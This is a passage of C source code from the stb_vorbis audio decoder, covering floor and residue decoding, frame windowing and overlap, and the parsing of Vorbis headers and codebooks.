X[k] = v[k2+n2]*B[k2 ] + v[k2+1+n2]*B[k2+1];
X[n2-1-k] = v[k2+n2]*B[k2+1] - v[k2+1+n2]*B[k2 ];
}
// decode kernel to output
// determined the following value experimentally
// (by first figuring out what made inverse_mdct_slow work); then matching that here
// (probably vorbis encoder premultiplies by n or n/2, to save it on the decoder?)
s = 0.5; // theoretically would be n4
// [[[ note! the s value of 0.5 is compensated for by the B[] in the current code,
// so it needs to use the "old" B values to behave correctly, or else
// set s to 1.0 ]]]
for (i=0; i < n4 ; ++i) buffer[i] = s * X[i+n4];
for ( ; i < n3_4; ++i) buffer[i] = -s * X[n3_4 - i - 1];
for ( ; i < n ; ++i) buffer[i] = -s * X[i - n3_4];
}
#endif
static float *get_window(vorb *f, int len)
{
len <<= 1;
if (len == f->blocksize_0) return f->window[0];
if (len == f->blocksize_1) return f->window[1];
return NULL;
}
#ifndef STB_VORBIS_NO_DEFER_FLOOR
typedef int16 YTYPE;
#else
typedef int YTYPE;
#endif
static int do_floor(vorb *f, Mapping *map, int i, int n, float *target, YTYPE *finalY, uint8 *step2_flag)
{
int n2 = n >> 1;
int s = map->chan[i].mux, floor;
floor = map->submap_floor[s];
if (f->floor_types[floor] == 0) {
return error(f, VORBIS_invalid_stream);
} else {
Floor1 *g = &f->floor_config[floor].floor1;
int j,q;
int lx = 0, ly = finalY[0] * g->floor1_multiplier;
for (q=1; q < g->values; ++q) {
j = g->sorted_order[q];
#ifndef STB_VORBIS_NO_DEFER_FLOOR
if (finalY[j] >= 0)
#else
if (step2_flag[j])
#endif
{
int hy = finalY[j] * g->floor1_multiplier;
int hx = g->Xlist[j];
if (lx != hx)
draw_line(target, lx,ly, hx,hy, n2);
CHECK(f);
lx = hx, ly = hy;
}
}
if (lx < n2) {
// optimization of: draw_line(target, lx,ly, n,ly, n2);
for (j=lx; j < n2; ++j)
LINE_OP(target[j], inverse_db_table[ly]);
CHECK(f);
}
}
return TRUE;
}
// The meaning of "left" and "right"
//
// For a given frame:
// we compute samples from 0..n
// window_center is n/2
// we'll window and mix the samples from left_start to left_end with data from the previous frame
// all of the samples from left_end to right_start can be output without mixing; however,
// this interval is 0-length except when transitioning between short and long frames
// all of the samples from right_start to right_end need to be mixed with the next frame,
// which we don't have, so those get saved in a buffer
// frame N's right_end-right_start, the number of samples to mix with the next frame,
// has to be the same as frame N+1's left_end-left_start (which they are by
// construction)
static int vorbis_decode_initial(vorb *f, int *p_left_start, int *p_left_end, int *p_right_start, int *p_right_end, int *mode)
{
Mode *m;
int i, n, prev, next, window_center;
f->channel_buffer_start = f->channel_buffer_end = 0;
retry:
if (f->eof) return FALSE;
if (!maybe_start_packet(f))
return FALSE;
// check packet type
if (get_bits(f,1) != 0) {
if (IS_PUSH_MODE(f))
return error(f,VORBIS_bad_packet_type);
while (EOP != get8_packet(f));
goto retry;
}
if (f->alloc.alloc_buffer)
assert(f->alloc.alloc_buffer_length_in_bytes == f->temp_offset);
i = get_bits(f, ilog(f->mode_count-1));
if (i == EOP) return FALSE;
if (i >= f->mode_count) return FALSE;
*mode = i;
m = f->mode_config + i;
if (m->blockflag) {
n = f->blocksize_1;
prev = get_bits(f,1);
next = get_bits(f,1);
} else {
prev = next = 0;
n = f->blocksize_0;
}
// WINDOWING
window_center = n >> 1;
if (m->blockflag && !prev) {
*p_left_start = (n - f->blocksize_0) >> 2;
*p_left_end = (n + f->blocksize_0) >> 2;
} else {
*p_left_start = 0;
*p_left_end = window_center;
}
if (m->blockflag && !next) {
*p_right_start = (n*3 - f->blocksize_0) >> 2;
*p_right_end = (n*3 + f->blocksize_0) >> 2;
} else {
*p_right_start = window_center;
*p_right_end = n;
}
return TRUE;
}
static int vorbis_decode_packet_rest(vorb *f, int *len, Mode *m, int left_start, int left_end, int right_start, int right_end, int *p_left)
{
Mapping *map;
int i,j,k,n,n2;
int zero_channel[256];
int really_zero_channel[256];
// WINDOWING
n = f->blocksize[m->blockflag];
map = &f->mapping[m->mapping];
// FLOORS
n2 = n >> 1;
CHECK(f);
for (i=0; i < f->channels; ++i) {
int s = map->chan[i].mux, floor;
zero_channel[i] = FALSE;
floor = map->submap_floor[s];
if (f->floor_types[floor] == 0) {
return error(f, VORBIS_invalid_stream);
} else {
Floor1 *g = &f->floor_config[floor].floor1;
if (get_bits(f, 1)) {
short *finalY;
uint8 step2_flag[256];
static int range_list[4] = { 256, 128, 86, 64 };
int range = range_list[g->floor1_multiplier-1];
int offset = 2;
finalY = f->finalY[i];
finalY[0] = get_bits(f, ilog(range)-1);
finalY[1] = get_bits(f, ilog(range)-1);
for (j=0; j < g->partitions; ++j) {
int pclass = g->partition_class_list[j];
int cdim = g->class_dimensions[pclass];
int cbits = g->class_subclasses[pclass];
int csub = (1 << cbits)-1;
int cval = 0;
if (cbits) {
Codebook *c = f->codebooks + g->class_masterbooks[pclass];
DECODE(cval,f,c);
}
for (k=0; k < cdim; ++k) {
int book = g->subclass_books[pclass][cval & csub];
cval = cval >> cbits;
if (book >= 0) {
int temp;
Codebook *c = f->codebooks + book;
DECODE(temp,f,c);
finalY[offset++] = temp;
} else
finalY[offset++] = 0;
}
}
if (f->valid_bits == INVALID_BITS) goto error; // behavior according to spec
step2_flag[0] = step2_flag[1] = 1;
for (j=2; j < g->values; ++j) {
int low, high, pred, highroom, lowroom, room, val;
low = g->neighbors[j][0];
high = g->neighbors[j][1];
//neighbors(g->Xlist, j, &low, &high);
pred = predict_point(g->Xlist[j], g->Xlist[low], g->Xlist[high], finalY[low], finalY[high]);
val = finalY[j];
highroom = range - pred;
lowroom = pred;
if (highroom < lowroom)
room = highroom * 2;
else
room = lowroom * 2;
if (val) {
step2_flag[low] = step2_flag[high] = 1;
step2_flag[j] = 1;
if (val >= room)
if (highroom > lowroom)
finalY[j] = val - lowroom + pred;
else
finalY[j] = pred - val + highroom - 1;
else
if (val & 1)
finalY[j] = pred - ((val+1)>>1);
else
finalY[j] = pred + (val>>1);
} else {
step2_flag[j] = 0;
finalY[j] = pred;
}
}
#ifdef STB_VORBIS_NO_DEFER_FLOOR
do_floor(f, map, i, n, f->floor_buffers[i], finalY, step2_flag);
#else
// defer final floor computation until _after_ residue
for (j=0; j < g->values; ++j) {
if (!step2_flag[j])
finalY[j] = -1;
}
#endif
} else {
error:
zero_channel[i] = TRUE;
}
// So we just defer everything else to later
// at this point we've decoded the floor into buffer
}
}
CHECK(f);
// at this point we've decoded all floors
if (f->alloc.alloc_buffer)
assert(f->alloc.alloc_buffer_length_in_bytes == f->temp_offset);
// re-enable coupled channels if necessary
memcpy(really_zero_channel, zero_channel, sizeof(really_zero_channel[0]) * f->channels);
for (i=0; i < map->coupling_steps; ++i)
if (!zero_channel[map->chan[i].magnitude] || !zero_channel[map->chan[i].angle]) {
zero_channel[map->chan[i].magnitude] = zero_channel[map->chan[i].angle] = FALSE;
}
CHECK(f);
// RESIDUE DECODE
for (i=0; i < map->submaps; ++i) {
float *residue_buffers[STB_VORBIS_MAX_CHANNELS];
int r;
uint8 do_not_decode[256];
int ch = 0;
for (j=0; j < f->channels; ++j) {
if (map->chan[j].mux == i) {
if (zero_channel[j]) {
do_not_decode[ch] = TRUE;
residue_buffers[ch] = NULL;
} else {
do_not_decode[ch] = FALSE;
residue_buffers[ch] = f->channel_buffers[j];
}
++ch;
}
}
r = map->submap_residue[i];
decode_residue(f, residue_buffers, ch, n2, r, do_not_decode);
}
if (f->alloc.alloc_buffer)
assert(f->alloc.alloc_buffer_length_in_bytes == f->temp_offset);
CHECK(f);
// INVERSE COUPLING
for (i = map->coupling_steps-1; i >= 0; --i) {
int n2 = n >> 1;
float *m = f->channel_buffers[map->chan[i].magnitude];
float *a = f->channel_buffers[map->chan[i].angle ];
for (j=0; j < n2; ++j) {
float a2,m2;
if (m[j] > 0)
if (a[j] > 0)
m2 = m[j], a2 = m[j] - a[j];
else
a2 = m[j], m2 = m[j] + a[j];
else
if (a[j] > 0)
m2 = m[j], a2 = m[j] + a[j];
else
a2 = m[j], m2 = m[j] - a[j];
m[j] = m2;
a[j] = a2;
}
}
CHECK(f);
// finish decoding the floors
#ifndef STB_VORBIS_NO_DEFER_FLOOR
for (i=0; i < f->channels; ++i) {
if (really_zero_channel[i]) {
memset(f->channel_buffers[i], 0, sizeof(*f->channel_buffers[i]) * n2);
} else {
do_floor(f, map, i, n, f->channel_buffers[i], f->finalY[i], NULL);
}
}
#else
for (i=0; i < f->channels; ++i) {
if (really_zero_channel[i]) {
memset(f->channel_buffers[i], 0, sizeof(*f->channel_buffers[i]) * n2);
} else {
for (j=0; j < n2; ++j)
f->channel_buffers[i][j] *= f->floor_buffers[i][j];
}
}
#endif
// INVERSE MDCT
CHECK(f);
for (i=0; i < f->channels; ++i)
inverse_mdct(f->channel_buffers[i], n, f, m->blockflag);
CHECK(f);
// this shouldn't be necessary, unless we exited on an error
// and want to flush to get to the next packet
flush_packet(f);
if (f->first_decode) {
// assume we start so first non-discarded sample is sample 0
// this isn't to spec, but spec would require us to read ahead
// and decode the size of all current frames--could be done,
// but presumably it's not a commonly used feature
f->current_loc = -n2; // start of first frame is positioned for discard
// we might have to discard samples "from" the next frame too,
// if we're lapping a large block then a small at the start?
f->discard_samples_deferred = n - right_end;
f->current_loc_valid = TRUE;
f->first_decode = FALSE;
} else if (f->discard_samples_deferred) {
if (f->discard_samples_deferred >= right_start - left_start) {
f->discard_samples_deferred -= (right_start - left_start);
left_start = right_start;
*p_left = left_start;
} else {
left_start += f->discard_samples_deferred;
*p_left = left_start;
f->discard_samples_deferred = 0;
}
} else if (f->previous_length == 0 && f->current_loc_valid) {
// we're recovering from a seek... that means we're going to discard
// the samples from this packet even though we know our position from
// the last page header, so we need to update the position based on
// the discarded samples here
// but wait, the code below is going to add this in itself even
// on a discard, so we don't need to do it here...
}
// check if we have ogg information about the sample # for this packet
if (f->last_seg_which == f->end_seg_with_known_loc) {
// if we have a valid current loc, and this is final:
if (f->current_loc_valid && (f->page_flag & PAGEFLAG_last_page)) {
uint32 current_end = f->known_loc_for_packet;
// then let's infer the size of the (probably) short final frame
if (current_end < f->current_loc + (right_end-left_start)) {
if (current_end < f->current_loc) {
// negative truncation, that's impossible!
*len = 0;
} else {
*len = current_end - f->current_loc;
}
*len += left_start; // this doesn't seem right, but has no ill effect on my test files
if (*len > right_end) *len = right_end; // this should never happen
f->current_loc += *len;
return TRUE;
}
}
// otherwise, just set our sample loc
// guess that the ogg granule pos refers to the _middle_ of the
// last frame?
// set f->current_loc to the position of left_start
f->current_loc = f->known_loc_for_packet - (n2-left_start);
f->current_loc_valid = TRUE;
}
if (f->current_loc_valid)
f->current_loc += (right_start - left_start);
if (f->alloc.alloc_buffer)
assert(f->alloc.alloc_buffer_length_in_bytes == f->temp_offset);
*len = right_end; // ignore samples after the window goes to 0
CHECK(f);
return TRUE;
}
static int vorbis_decode_packet(vorb *f, int *len, int *p_left, int *p_right)
{
int mode, left_end, right_end;
if (!vorbis_decode_initial(f, p_left, &left_end, p_right, &right_end, &mode)) return 0;
return vorbis_decode_packet_rest(f, len, f->mode_config + mode, *p_left, left_end, *p_right, right_end, p_left);
}
static int vorbis_finish_frame(stb_vorbis *f, int len, int left, int right)
{
int prev,i,j;
// we use right&left (the start of the right- and left-window sin()-regions)
// to determine how much to return, rather than inferring from the rules
// (same result, clearer code); 'left' indicates where our sin() window
// starts, therefore where the previous window's right edge starts, and
// therefore where to start mixing from the previous buffer. 'right'
// indicates where our sin() ending-window starts, therefore that's where
// we start saving, and where our returned-data ends.
// mixin from previous window
if (f->previous_length) {
int i,j, n = f->previous_length;
float *w = get_window(f, n);
if (w == NULL) return 0;
for (i=0; i < f->channels; ++i) {
for (j=0; j < n; ++j)
f->channel_buffers[i][left+j] =
f->channel_buffers[i][left+j]*w[ j] +
f->previous_window[i][ j]*w[n-1-j];
}
}
prev = f->previous_length;
// last half of this data becomes previous window
f->previous_length = len - right;
// @OPTIMIZE: could avoid this copy by double-buffering the
// output (flipping previous_window with channel_buffers), but
// then previous_window would have to be 2x as large, and
// channel_buffers couldn't be temp mem (although they're NOT
// currently temp mem, they could be (unless we want to level
// performance by spreading out the computation))
for (i=0; i < f->channels; ++i)
for (j=0; right+j < len; ++j)
f->previous_window[i][j] = f->channel_buffers[i][right+j];
if (!prev)
// there was no previous packet, so this data isn't valid...
// this isn't entirely true, only the would-have-overlapped data
// isn't valid, but this seems to be what the spec requires
return 0;
// truncate a short frame
if (len < right) right = len;
f->samples_output += right-left;
return right - left;
}
static int vorbis_pump_first_frame(stb_vorbis *f)
{
int len, right, left, res;
res = vorbis_decode_packet(f, &len, &left, &right);
if (res)
vorbis_finish_frame(f, len, left, right);
return res;
}
#ifndef STB_VORBIS_NO_PUSHDATA_API
static int is_whole_packet_present(stb_vorbis *f)
{
// make sure that we have the packet available before continuing...
// this requires a full ogg parse, but we know we can fetch from f->stream
// instead of coding this out explicitly, we could save the current read state,
// read the next packet with get8() until end-of-packet, check f->eof, then
// reset the state? but that would be slower, esp. since we'd have over 256 bytes
// of state to restore (primarily the page segment table)
int s = f->next_seg, first = TRUE;
uint8 *p = f->stream;
if (s != -1) { // if we're not starting the packet with a 'continue on next page' flag
for (; s < f->segment_count; ++s) {
p += f->segments[s];
if (f->segments[s] < 255) // stop at first short segment
break;
}
// either this continues, or it ends it...
if (s == f->segment_count)
s = -1; // set 'crosses page' flag
if (p > f->stream_end) return error(f, VORBIS_need_more_data);
first = FALSE;
}
for (; s == -1;) {
uint8 *q;
int n;
// check that we have the page header ready
if (p + 26 >= f->stream_end) return error(f, VORBIS_need_more_data);
// validate the page
if (memcmp(p, ogg_page_header, 4)) return error(f, VORBIS_invalid_stream);
if (p[4] != 0) return error(f, VORBIS_invalid_stream);
if (first) { // the first segment must NOT have 'continued_packet', later ones MUST
if (f->previous_length)
if ((p[5] & PAGEFLAG_continued_packet)) return error(f, VORBIS_invalid_stream);
// if no previous length, we're resynching, so we can come in on a continued-packet,
// which we'll just drop
} else {
if (!(p[5] & PAGEFLAG_continued_packet)) return error(f, VORBIS_invalid_stream);
}
n = p[26]; // segment counts
q = p+27; // q points to segment table
p = q + n; // advance past header
// make sure we've read the segment table
if (p > f->stream_end) return error(f, VORBIS_need_more_data);
for (s=0; s < n; ++s) {
p += q[s];
if (q[s] < 255)
break;
}
if (s == n)
s = -1; // set 'crosses page' flag
if (p > f->stream_end) return error(f, VORBIS_need_more_data);
first = FALSE;
}
return TRUE;
}
#endif // !STB_VORBIS_NO_PUSHDATA_API
static int start_decoder(vorb *f)
{
uint8 header[6], x,y;
int len,i,j,k, max_submaps = 0;
int longest_floorlist=0;
// first page, first packet
f->first_decode = TRUE;
if (!start_page(f)) return FALSE;
// validate page flag
if (!(f->page_flag & PAGEFLAG_first_page)) return error(f, VORBIS_invalid_first_page);
if (f->page_flag & PAGEFLAG_last_page) return error(f, VORBIS_invalid_first_page);
if (f->page_flag & PAGEFLAG_continued_packet) return error(f, VORBIS_invalid_first_page);
// check for expected packet length
if (f->segment_count != 1) return error(f, VORBIS_invalid_first_page);
if (f->segments[0] != 30) {
// check for the Ogg skeleton fishead identifying header to refine our error
if (f->segments[0] == 64 &&
getn(f, header, 6) &&
header[0] == 'f' &&
header[1] == 'i' &&
header[2] == 's' &&
header[3] == 'h' &&
header[4] == 'e' &&
header[5] == 'a' &&
get8(f) == 'd' &&
get8(f) == '\0') return error(f, VORBIS_ogg_skeleton_not_supported);
else
return error(f, VORBIS_invalid_first_page);
}
// read packet
// check packet header
if (get8(f) != VORBIS_packet_id) return error(f, VORBIS_invalid_first_page);
if (!getn(f, header, 6)) return error(f, VORBIS_unexpected_eof);
if (!vorbis_validate(header)) return error(f, VORBIS_invalid_first_page);
// vorbis_version
if (get32(f) != 0) return error(f, VORBIS_invalid_first_page);
f->channels = get8(f); if (!f->channels) return error(f, VORBIS_invalid_first_page);
if (f->channels > STB_VORBIS_MAX_CHANNELS) return error(f, VORBIS_too_many_channels);
f->sample_rate = get32(f); if (!f->sample_rate) return error(f, VORBIS_invalid_first_page);
get32(f); // bitrate_maximum
get32(f); // bitrate_nominal
get32(f); // bitrate_minimum
x = get8(f);
{
int log0,log1;
log0 = x & 15;
log1 = x >> 4;
f->blocksize_0 = 1 << log0;
f->blocksize_1 = 1 << log1;
if (log0 < 6 || log0 > 13) return error(f, VORBIS_invalid_setup);
if (log1 < 6 || log1 > 13) return error(f, VORBIS_invalid_setup);
if (log0 > log1) return error(f, VORBIS_invalid_setup);
}
// framing_flag
x = get8(f);
if (!(x & 1)) return error(f, VORBIS_invalid_first_page);
// second packet!
if (!start_page(f)) return FALSE;
if (!start_packet(f)) return FALSE;
if (!next_segment(f)) return FALSE;
if (get8_packet(f) != VORBIS_packet_comment) return error(f, VORBIS_invalid_setup);
for (i=0; i < 6; ++i) header[i] = get8_packet(f);
if (!vorbis_validate(header)) return error(f, VORBIS_invalid_setup);
//file vendor
len = get32_packet(f);
f->vendor = (char*)setup_malloc(f, sizeof(char) * (len+1));
for(i=0; i < len; ++i) {
f->vendor[i] = get8_packet(f);
}
f->vendor[len] = (char)'\0';
//user comments
f->comment_list_length = get32_packet(f);
f->comment_list = (char**)setup_malloc(f, sizeof(char*) * (f->comment_list_length));
for(i=0; i < f->comment_list_length; ++i) {
len = get32_packet(f);
#ifdef TARGET_32BLIT_HW
// HACK: dicard large comments to avoid OOM
if(len > 1024 * 10) {
for(j=0; j < len; ++j) get8_packet(f);
len = 0;
}
#endif
f->comment_list[i] = (char*)setup_malloc(f, sizeof(char) * (len+1));
for(j=0; j < len; ++j) {
f->comment_list[i][j] = get8_packet(f);
}
f->comment_list[i][len] = (char)'\0';
}
// framing_flag
x = get8_packet(f);
if (!(x & 1)) return error(f, VORBIS_invalid_setup);
skip(f, f->bytes_in_seg);
f->bytes_in_seg = 0;
do {
len = next_segment(f);
skip(f, len);
f->bytes_in_seg = 0;
} while (len);
// third packet!
if (!start_packet(f)) return FALSE;
#ifndef STB_VORBIS_NO_PUSHDATA_API
if (IS_PUSH_MODE(f)) {
if (!is_whole_packet_present(f)) {
// convert error in ogg header to write type
if (f->error == VORBIS_invalid_stream)
f->error = VORBIS_invalid_setup;
return FALSE;
}
}
#endif
crc32_init(); // always init it, to avoid multithread race conditions
if (get8_packet(f) != VORBIS_packet_setup) return error(f, VORBIS_invalid_setup);
for (i=0; i < 6; ++i) header[i] = get8_packet(f);
if (!vorbis_validate(header)) return error(f, VORBIS_invalid_setup);
// codebooks
f->codebook_count = get_bits(f,8) + 1;
f->codebooks = (Codebook *) setup_malloc(f, sizeof(*f->codebooks) * f->codebook_count);
if (f->codebooks == NULL) return error(f, VORBIS_outofmem);
memset(f->codebooks, 0, sizeof(*f->codebooks) * f->codebook_count);
for (i=0; i < f->codebook_count; ++i) {
uint32 *values;
int ordered, sorted_count;
int total=0;
uint8 *lengths;
Codebook *c = f->codebooks+i;
CHECK(f);
x = get_bits(f, 8); if (x != 0x42) return error(f, VORBIS_invalid_setup);
x = get_bits(f, 8); if (x != 0x43) return error(f, VORBIS_invalid_setup);
x = get_bits(f, 8); if (x != 0x56) return error(f, VORBIS_invalid_setup);
x = get_bits(f, 8);
c->dimensions = (get_bits(f, 8)<<8) + x;
x = get_bits(f, 8);
y = get_bits(f, 8);
c->entries = (get_bits(f, 8)<<16) + (y<<8) + x;
ordered = get_bits(f,1);
c->sparse = ordered ? 0 : get_bits(f,1);
if (c->dimensions == 0 && c->entries != 0) return error(f, VORBIS_invalid_setup);
if (c->sparse)
lengths = (uint8 *) setup_temp_malloc(f, c->entries);
else
lengths = c->codeword_lengths = (uint8 *) setup_malloc(f, c->entries);
if (!lengths) return error(f, VORBIS_outofmem);
if (ordered) {
int current_entry = 0;
int current_length = get_bits(f,5) + 1;
while (current_entry < c->entries) {
int limit = c->entries - current_entry;
int n = get_bits(f, ilog(limit));
if (current_length >= 32) return error(f, VORBIS_invalid_setup);
if (current_entry + n > (int) c->entries) { return error(f, VORBIS_invalid_setup); }
memset(lengths + current_entry, current_length, n);
current_entry += n;
++current_length;
}
} else {
for (j=0; j < c->entries; ++j) {
int present = c->sparse ? get_bits(f,1) : 1;
if (present) {
lengths[j] = get_bits(f, 5) + 1;
++total;
if (lengths[j] == 32)
return error(f, VORBIS_invalid_setup);
} else {
lengths[j] = NO_CODE;
}
}
}
if (c->sparse && total >= c->entries >> 2) {
// convert sparse items to non-sparse!
if (c->entries > (int) f->setup_temp_memory_required)
f->setup_temp_memory_required = c->entries;
c->codeword_lengths = (uint8 *) setup_malloc(f, c->entries);
if (c->codeword_lengths == NULL) return error(f, VORBIS_outofmem);
memcpy(c->codeword_lengths, lengths, c->entries);
setup_temp_free(f, lengths, c->entries); // note this is only safe if there have been no intervening temp mallocs!
lengths = c->codeword_lengths;
c->sparse = 0;
}
// compute the size of the sorted tables
if (c->sparse) {
sorted_count = total;
} else {
sorted_count = 0;
#ifndef STB_VORBIS_NO_HUFFMAN_BINARY_SEARCH
for (j=0; j < c->entries; ++j)
if (lengths[j] > STB_VORBIS_FAST_HUFFMAN_LENGTH && lengths[j] != NO_CODE)
++sorted_count;
#endif
}
c->sorted_entries = sorted_count;
values = NULL;
CHECK(f);
if (!c->sparse) {
c->codewords = (uint32 *) setup_malloc(f, sizeof(c->codewords[0]) * c->entries);
if (!c->codewords) return error(f, VORBIS_outofmem);
} else {
unsigned int size;
if (c->sorted_entries) {
c->codeword_lengths = (uint8 *) setup_malloc(f, c->sorted_entries);
if (!c->codeword_lengths) return error(f, VORBIS_outofmem);
c->codewords = (uint32 *) setup_temp_malloc(f, sizeof(*c->codewords) * c->sorted_entries);
if (!c->codewords) return error(f, VORBIS_outofmem);
values = (uint32 *) setup_temp_malloc(f, sizeof(*values) * c->sorted_entries);
if (!values) return error(f, VORBIS_outofmem);
}
size = c->entries + (sizeof(*c->codewords) + sizeof(*values)) * c->sorted_entries;
if (size > f->setup_temp_memory_required)
f->setup_temp_memory_required = size;
}
if (!compute_codewords(c, lengths, c->entries, values)) {
if (c->sparse) setup_temp_free(f, values, 0);
return error(f, VORBIS_invalid_setup);
}
if (c->sorted_entries) {
// allocate an extra slot for sentinels
c->sorted_codewords = (uint32 *) setup_malloc(f, sizeof(*c->sorted_codewords) * (c->sorted_entries+1));
if (c->sorted_codewords == NULL) return error(f, VORBIS_outofmem);
// allocate an extra slot at the front so that c->sorted_values[-1] is defined
// so that we can catch that case without an extra if
c->sorted_values = ( int *) setup_malloc(f, sizeof(*c->sorted_values ) * (c->sorted_entries+1));
if (c->sorted_values == NULL) return error(f, VORBIS_outofmem);
++c->sorted_values;
c->sorted_values[-1] = -1;
compute_sorted_huffman(c, lengths, values);
}
if (c->sparse) {
setup_temp_free(f, values, sizeof(*values)*c->sorted_entries);
setup_temp_free(f, c->codewords, sizeof(*c->codewords)*c->sorted_entries);
setup_temp_free(f, lengths, c->entries);
c->codewords = NULL;
}
compute_accelerated_huffman(c);
CHECK(f);
c->lookup_type = get_bits(f, 4);
if (c->lookup_type > 2) return error(f, VORBIS_invalid_setup);
if (c->lookup_type > 0) {
uint16 *mults;
c->minimum_value = float32_unpack(get_bits(f, 32));
c->delta_value = float32_unpack(get_bits(f, 32));
c->value_bits = get_bits(f, 4)+1;
c->sequence_p = get_bits(f,1);
if (c->lookup_type == 1) {
int values = lookup1_values(c->entries, c->dimensions);
if (values < 0) return error(f, VORBIS_invalid_setup);
c->lookup_values = (uint32) values;
} else {
c->lookup_values = c->entries * c->dimensions;
}
if (c->lookup_values == 0) return error(f, VORBIS_invalid_setup);
mults = (uint16 *) setup_temp_malloc(f, sizeof(mults[0]) * c->lookup_values);
if (mults == NULL) return error(f, VORBIS_outofmem);
for (j=0; j < (int) c->lookup_values; ++j) {
int q = get_bits(f, c->value_bits);
if (q == EOP) { setup_temp_free(f,mults,sizeof(mults[0])*c->lookup_values); return error(f, VORBIS_invalid_setup); }
mults[j] = q;
}
#ifndef STB_VORBIS_DIVIDES_IN_CODEBOOK
if (c->lookup_type == 1) {
int len, sparse = c->sparse;
float last=0;
// pre-expand the lookup1-style multiplicands, to avoid a divide in the inner loop
if (sparse) {
if (c->sorted_entries == 0) goto skip;
c->multiplicands = (codetype *) setup_malloc(f, sizeof(c->multiplicands[0]) * c->sorted_entries * c->dimensions);
} else
c->multiplicands = (codetype *) setup_malloc(f, sizeof(c->multiplicands[0]) * c->entries * c->dimensions);
if (c->multiplicands == NULL) { setup_temp_free(f,mults,sizeof(mults[0])*c->lookup_values); return error(f, VORBIS_outofmem); }
len = sparse ? c->sorted_entries : c->entries;
for (j=0; j < len; ++j) {
unsigned int z = sparse ? c->sorted_values[j] : j;
unsigned int div=1;
for (k=0; k < c->dimensions; ++k) {
int off = (z / div) % c->lookup_values;
float val = mults[off];
val = mults[off]*c->delta_value + c->minimum_value + last;
c->multiplicands[j*c->dimensions + k] = val;
if (c->sequence_p)
last = val;
if (k+1 < c->dimensions) {
if (div > UINT_MAX / (unsigned int) c->lookup_values) {
setup_temp_free(f, mults,sizeof(mults[0])*c->lookup_values);
return error(f, VORBIS_invalid_setup);
}
div *= c->lookup_values;
}
}
}
c->lookup_type = 2;
}
else
#endif
{
float last=0;
CHECK(f);
c->multiplicands = (codetype *) setup_malloc(f, sizeof(c->multiplicands[0]) * c->lookup_values);
if (c->multiplicands == NULL) { setup_temp_free(f, mults,sizeof(mults[0])*c->lookup_values); return error(f, VORBIS_outofmem); }
for (j=0; j < (int) c->lookup_values; ++j) {
float val = mults[j] * c->delta_value + c->minimum_value + last;
c->multiplicands[j] = val;
if (c->sequence_p)
last = val;
}
}
#ifndef STB_VORBIS_DIVIDES_IN_CODEBOOK
skip:;
#endif
setup_temp_free(f, mults, sizeof(mults[0])*c->lookup_values);
CHECK(f);
}
CHECK(f);
}
// time domain transfers (notused)
x = get_bits(f, 6) + 1;
for (i=0; i < x; ++i) {
uint32 z = get_bits(f, 16);
if (z != 0) return error(f, VORBIS_invalid_setup);
}
// Floors
f->floor_count = get_bits(f, 6)+1;
f->floor_config = (Floor *) setup_malloc(f, f->floor_count * sizeof(*f->floor_config));
if (f->floor_config == NULL) return error(f, VORBIS_outofmem);
for (i=0; i < f->floor_count; ++i) {
f->floor_types[i] = get_bits(f, 16);
if (f->floor_types[i] > 1) return error(f, VORBIS_invalid_setup);
if (f->floor_types[i] == 0) {
Floor0 *g = &f->floor_config[i].floor0;
g->order = get_bits(f,8);
g->rate = get_bits(f,16);
g->bark_map_size = get_bits(f,16);
g->amplitude_bits = get_bits(f,6);
g->amplitude_offset = get_bits(f,8);
g->number_of_books = get_bits(f,4) + 1;
for (j=0; j < g->number_of_books; ++j)
g->book_list[j] = get_bits(f,8);
return error(f, VORBIS_feature_not_supported);
} else {
stbv__floor_ordering p[31*8+2];
Floor1 *g = &f->floor_config[i].floor1;
int max_class = -1;
g->partitions = get_bits(f, 5);
for (j=0; j < g->partitions; ++j) {
g->partition_class_list[j] = get_bits(f, 4);
if (g->partition_class_list[j] > max_class)
max_class = g->partition_class_list[j];
}
for (j=0; j <= max_class; ++j) {
g->class_dimensions[j] = get_bits(f, 3)+1;
g->class_subclasses[j] = get_bits(f, 2);
if (g->class_subclasses[j]) {
g->class_masterbooks[j] = get_bits(f, 8);
if (g->class_masterbooks[j] >= f->codebook_count) return error(f, VORBIS_invalid_setup);
}
for (k=0; k < 1 << g->class_subclasses[j]; ++k) {
g->subclass_books[j][k] = get_bits(f,8)-1;
if (g->subclass_books[j][k] >= f->codebook_count) return error(f, VORBIS_invalid_setup);
}
}
g->floor1_multiplier = get_bits(f,2)+1;
g->rangebits = get_bits(f,4);
g->Xlist[0] = 0;
g->Xlist[1] = 1 << g->rangebits;
g->values = 2;
for (j=0; j < g->partitions; ++j) {
int c = g->partition_class_list[j];
for (k=0; k < g->class_dimensions[c]; ++k) {
g->Xlist[g->values] = get_bits(f, g->rangebits);
++g->values;
}
}
// precompute the sorting
for (j=0; j < g->values; ++j) {
p[j].x = g->Xlist[j];
p[j].id = j;
}
qsort(p, g->values, sizeof(p[0]), point_compare);
for (j=0; j < g->values-1; ++j)
if (p[j].x == p[j+1].x)
return error(f, VORBIS_invalid_setup);
for (j=0; j < g->values; ++j)
g->sorted_order[j] = (uint8) p[j].id;
// precompute the neighbors
for (j=2; j < g->values; ++j) {
int low = 0,hi = 0;
neighbors(g->Xlist, j, &low,&hi);
g->neighbors[j][0] = low;
g->neighbors[j][1] = hi;
}
if (g->values > longest_floorlist)
longest_floorlist = g->values;
}
}
// Residue
f->residue_count = get_bits(f, 6)+1;
f->residue_config = (Residue *) setup_malloc(f, f->residue_count * sizeof(f->residue_config[0]));
if (f->residue_config == NULL) return error(f, VORBIS_outofmem);
memset(f->residue_config, 0, f->residue_count * sizeof(f->residue_config[0]));
for (i=0; i < f->residue_count; ++i) {
uint8 residue_cascade[64];
Residue *r = f->residue_config+i;
f->residue_types[i] = get_bits(f, 16);
if (f->residue_types[i] > 2) return error(f, VORBIS_invalid_setup);
r->begin = get_bits(f, 24);
r->end = get_bits(f, 24);
if (r->end < r->begin) return error(f, VORBIS_invalid_setup);
r->part_size = get_bits(f,24)+1;
r->classifications = get_bits(f,6)+1;
r->classbook = get_bits(f,8);
if (r->classbook >= f->codebook_count) return error(f, VORBIS_invalid_setup);
for (j=0; j < r->classifications; ++j) {
uint8 high_bits=0;
uint8 low_bits=get_bits(f,3);
if (get_bits(f,1))
high_bits = get_bits(f,5);
residue_cascade[j] = high_bits*8 + low_bits;
}
r->residue_books = (short (*)[8]) setup_malloc(f, sizeof(r->residue_books[0]) * r->classifications);
if (r->residue_books == NULL) return error(f, VORBIS_outofmem);
for (j=0; j < r->classifications; ++j) {
for (k=0; k < 8; ++k) {
if (residue_cascade[j] & (1 << k)) {
